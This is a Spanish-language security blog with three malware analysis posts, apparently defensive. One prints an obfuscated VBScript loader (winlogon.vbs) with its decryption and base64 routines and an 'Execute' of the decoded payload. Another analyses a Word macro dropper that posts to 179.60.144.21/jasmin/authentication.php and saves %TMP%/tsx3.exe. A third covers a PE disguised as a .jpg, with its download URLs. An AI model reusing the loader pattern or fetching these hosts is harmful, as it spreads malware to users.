lunes, 18 de enero de 2016

Analizando el archivo: "winlogon.vbs" - Parte 1

Hace unos días me dieron el siguiente archivo con extensión “.vbs”:

Nombre:                winlogon.vbs
Md5:                     8956FFB4FE720569055830FDB0D1D6EC

Md5 del archivo a analizar

Con un editor de texto se reviso el contenido, que guardaba una sorpresa:

Private Function DeCryptString(strCryptString)
'####################################################################
'### Crypt Function (C) 2001 by Slavic Kozyuk grindkore@yahoo.com ###
'### Arguments: Encrypted HEX stringt                                                                                                                                                 ###
'### Output: Decrypted ASCII string                               ###
'####################################################################
'### Note this function uses HexConv() and get_hxno() functions   ###
'### so make sure they are not removed                                                                                                                                                ###
'####################################################################

Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData


                        strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))
                        intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
                        intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)
                        strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))

                       
                        arHexCharSet = Split(strHexCrypData, Hex(intKey))
                                              
                                               For i=0 to UBound(arHexCharSet)
                                                                       strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
                                               Next
                                              
                        DeCryptString = strRAW
End Function

Private Function HexConv(hexVar)
Dim hxx, hxx_var, multiply                              
                                               IF hexVar <> "" THEN
                                                                       hexVar = UCASE(hexVar)
                                                                       hexVar = StrReverse(hexVar)
                                                                       DIM hx()
                                                                       REDIM hx(LEN(hexVar))
                                                                       hxx = 0
                                                                       hxx_var = 0
                                                                       FOR hxx = 1 TO LEN(hexVar)
                                                                                              IF multiply = "" THEN multiply = 1
                                                                                              hx(hxx) = mid(hexVar,hxx,1)
                                                                                              hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                                                                                              multiply = (multiply * 16)
                                                                       NEXT
                                                                       hexVar = hxx_var
                                                                       HexConv = hexVar
                                               END IF
End Function
                       
Private Function get_hxno(ghx)
                                               If ghx = "A" Then
                                                                       ghx = 10
                                               ElseIf ghx = "B" Then
                                                                       ghx = 11
                                               ElseIf ghx = "C" Then
                                                                       ghx = 12
                                               ElseIf ghx = "D" Then
                                                                       ghx = 13
                                               ElseIf ghx = "E" Then
                                                                       ghx = 14
                                               ElseIf ghx = "F" Then
                                                                       ghx = 15
                                               End If
                                               get_hxno = ghx
End Function
                                              
                        ' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
  'rfc1521
  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
 
  'remove white spaces, If any
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
 
  'The source must consists from groups with Len of 4 chars
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

 
  ' Now decode each group:
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    ' Each data group encodes up To 3 actual bytes.
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      ' Convert each character into 6 bits of data, And add it To
      ' an integer For temporary storage.  If a character is a '=', there
      ' is one fewer data byte.  (There can only be a maximum of 2 '=' In
      ' the whole string.)

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
   
    'Hex splits the long To 6 groups with 4 bits
    nGroup = Hex(nGroup)
   
    'Add leading zeros
    nGroup = String(6 - Len(nGroup), "0") & nGroup
   
    'Convert the 3 byte hex integer (6 chars) To 3 characters
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
   
    'add numDataBytes characters To out string
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function


data = "MkEwQTMwRTExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyNDFDMTJCQTExM0Y0MjI0QTY2QzQxMTNGNDI1REM3RjZFMTEzRjQyNTUyODU1RTExM0Y0MjU4NjQzMjQxMTNGNDI1MzAwNkRBMTEzRjQyMjI3RTg0MDExM0Y0MjUzMDA2REExMTNGNDI1NTI4NTVFMTEzRjQyNDk0Q0Q4ODExM0Y0MjRFQjA5RDIxMTNGNDI0Qjc0QzBDMTEzRjQyNEVCMDlEMjExM0Y0MjR

… <más contenido>…

UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 = Base64Decode(data)
dec1 = DeCryptString(dec2)

‘msgbox dec1
Execute dec1

Para decodificar (base 64) y descifrar, el propio código muestra lo que se debe hacer: sólo tenemos que des-comentar la penúltima línea y comentar la última:

UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 = Base64Decode(data)
dec1 = DeCryptString(dec2)

msgbox dec1
‘Execute dec1

Obteniendo el siguiente resultado:

Parte del contenido ofuscado en base64 y cifrado

Un código verdaderamente interesante, pero tenemos el problema de la limitación en la visualización.

Para salvar dicho problema, se tuvo que volcar el contenido des-ofuscado a un archivo con extensión “.txt”, que permitiera su posterior estudio. Para ello se desarrollo la función: volcardatos().

Función para almacenar la información pasada en el parámetro “datto” en un archivo de texto

Lanzamiento de la función: “volcardatos()”

El resultado … el deseado:


Contenido des-ofuscado y almacenado en el archivo: “archivo.txt”

viernes, 8 de enero de 2016

Analizando el archivo: "860C4231.doc"

Para enseñar a analizar un documento ofimático, me suministraron el siguiente documento:

Nombre:                860C4231.doc
MD5:                    E8BD65668D68410ADACEE9463EB1489E

Información sobre el archivo ofimático suministrado.

Al intentar realizar un análisis estático del mismo, me encontré que la herramienta basada en Python que habitualmente utilizo no reconocía el documento como "objeto OLE ", y por lo tanto no podía analizar el documento.

Reporte del fallo suministrado por la herramienta de análisis.

A consecuencia de eso, me plantee abrirlo sin ejecutar las macros para posteriormente volverlo a guardar.

Proceso de guardado tras la apertura sin activar la ejecución de las macros.

Y esta vez, sí pude analizar el documento.

Información suministrada por la herramienta de análisis.

A partir de aquí, personalmente prefiero analizar la lógica que contienen las macros, empezando por la función que se ejecuta nada más abrir este tipo de archivo.  Más concretamente el procedimiento: "AutoOpen", que suele encontrarse en el "stream" de nombre: "ThisDocument"

Procedimiento "AutoOpen" contenido en el stream: "ThisDocument".

NOTA: Es muy habitual encontrarse gran cantidad de código "de relleno", la intención ...  dificultar el análisis. Pero, lo "desarrolladores" de este tipo de documentos no se complican demasiado y tras dos/tres llamadas, podremos encontrar la función que inicia el proceso de "descarga" del verdadero malware.

Tras seguir el proceso de ejecución llegue al procedimiento: Aky1JsRD3md (al  segundo salto tras iniciar el proceso de ejecución), que se encuentra, para dicho documento, en el stream 18

Procedimiento: Aky1JsRD3md

Como en otros códigos ya analizados se pueden ver las funciones: Open, Send y ResponseBody, que nos indica que nos encontramos ante una petición de tipo HTTP, mediante la utilización de un objeto de tipo: XMLHTTP.

NOTA: La sintaxis de la función "Open" de dicho objeto es:

objeto.Open (Metodo, URL,  [Asincrono], [Usuario], [Contraseña]

[] : opcional

Más información: https://msdn.microsoft.com/es-es/library/ms757849(v=vs.85).aspx

Por lo que:

sxcsccccc.BHJKbkds7 = método (GET,POST)
sxcsccccc.BHJKbkds1 = <URL>
sxcsccccc.BHJKbkds4 = "XMLHTTP"

Por lo que tenemos que acudir a la macro: sxcsccccc, y buscar la función/ variable: BHJKbkds1.

Pero en dicha macro NO encuentre nada

Macro sxcsccccc.

Por lo que tuve que buscar en el resto de código vinculado a dicha macro, aunque pude intuir que estaba ante la presencia de un objeto embebido de tipo Frame.

Información sobre el objeto embebido.

Revisando los streams vinculados con dicho objeto, encontré la información que buscaba.


Información de uno de los stream vinculados con el objeto embebido.


Método:                 post
URL:                      179.60.144.21/jasmin/authentication.php

NOTA: Obtuve también información adicional,  que se corresponde con la ubicación donde se almacena el archivo descargado: %TMP%/tsx3.exe

Conclusiones

Estamos ante una nueva manera de ofuscar la información que contiene un lanzador de tipo ofimático.

Para ello utilizaremos un objeto embebido que contendrá la información necesaria para la descarga del verdadero malware.

Adicionalmente, aconsejo bloquear en vuestros sistemas:

Md5:                      E8BD65668D68410ADACEE9463EB1489E
URL:                      179.60.144.21/jasmin/authentication.php

Añadir que la URL NO se encuentra activa.


lunes, 21 de diciembre de 2015

Analizando el archivo: "435323.jpg"

Me debía esta entrada desde hace mucho tiempo.

En un blog sobre malware aparecen dos peticiones realizadas por un lanzador basado en un archivo Excel.

rmansys.ru/utils/inet_id_notify.php
s01.yapfiles.ru/files/1323961/435323.jpg


Siguiendo el primer enlace obtenemos:


Recurso no encontrado en la primera URL

Siguiendo el segundo enlace, obtenemos:

Recurso encontrado en la segunda URL

El recurso ésta vivo, pero no se puede descargar debido a que el navegador reinterpreta la extensión e intenta mostrar el contenido.

Por este motivo se utiliza la herramienta “wget” para obtener el recurso .jpg.

Petición “wget” realizada para obtener el recurso .jpg.

Tras la descarga se comprueba el tipo de archivo (magic number) mediante la visualización de los primeros bytes

Revisión del contenido inicial del archivo.

Nos encontramos ante un archivo PE para sistemas Windows.

Se procede a comprobar si dicho archivo es detectado por AVs, para ello se utiliza la web de VirusTotal.

AVs que detectan el archivo según VirusTotal.

La muestra encontrada es bastante conocida.

Se pasa a analizar el contenido de las distintas secciones del archivo PE, centrándose principalmente en la sección “rsrc”.

Comprobación del tamaño de la sección “.rsrc” del archivo PE.

La sección “.rsrc” de un fichero PE es habitualmente utilizada para embeber archivos que nada tienen que ver con el propio programa, y que a su vez, suelen ser ejecutables

En este caso la sección “.rsrc” ocupa: 2,29 MB ((2407424 (bytes) / 1024) /1024) de 2,34 MB, que es el tamaño total del archivo.

Se procede a comprobar de manera manual la existencia de más archivos ejecutables PE en esta sección. Para ello se utilizará como patrón la cadena: “MZ”, que se corresponde con el “magic number” de los ficheros PE.

Pero para buscar exclusivamente en la sección en la que nos estamos centrando, se debe comprobar  la dirección de inicio y fin de la sección.


En nuestro caso, la sección va desde la dirección: F0000, hasta la dirección: 25B000


Patrón de búsqueda encontrado en la sección “.rsrc”

Se encuentran gran cantidad de coincidencias del patrón de búsqueda como se muestra en la imagen anterior.

Pero quizás lo que más llama la atención es la información que rodea al patrón de búsqueda, ya que parece que nos encontramos con información cifrada o empaquetada.

NOTA: Podríamos estar ante un archivo embebido empaquetado o cifrado, para obstaculizar análisis, que fuera desempaquetado o descifrado por el programa camuflado como archivo “.jpg”

Se procede a seguir revisando el archivo “jpg” de manera estática, con la intención de confirmar nuestra hipótesis.

Se encuentran los siguientes datos:

Información sobre el fichero PE analizado

Es decir, nos hemos encontrado un archivo comprimido y autoextraíble, que anteriormente se llamaba “WExtract.exe”.

Todo lo revisado anteriormente cobrar sentido, aún más cuando le cambiamos la extensión por la de: .exe, y tenemos un fabuloso icono asociado a la extensión para el archivo.



Archivo a análisis con extensión .exe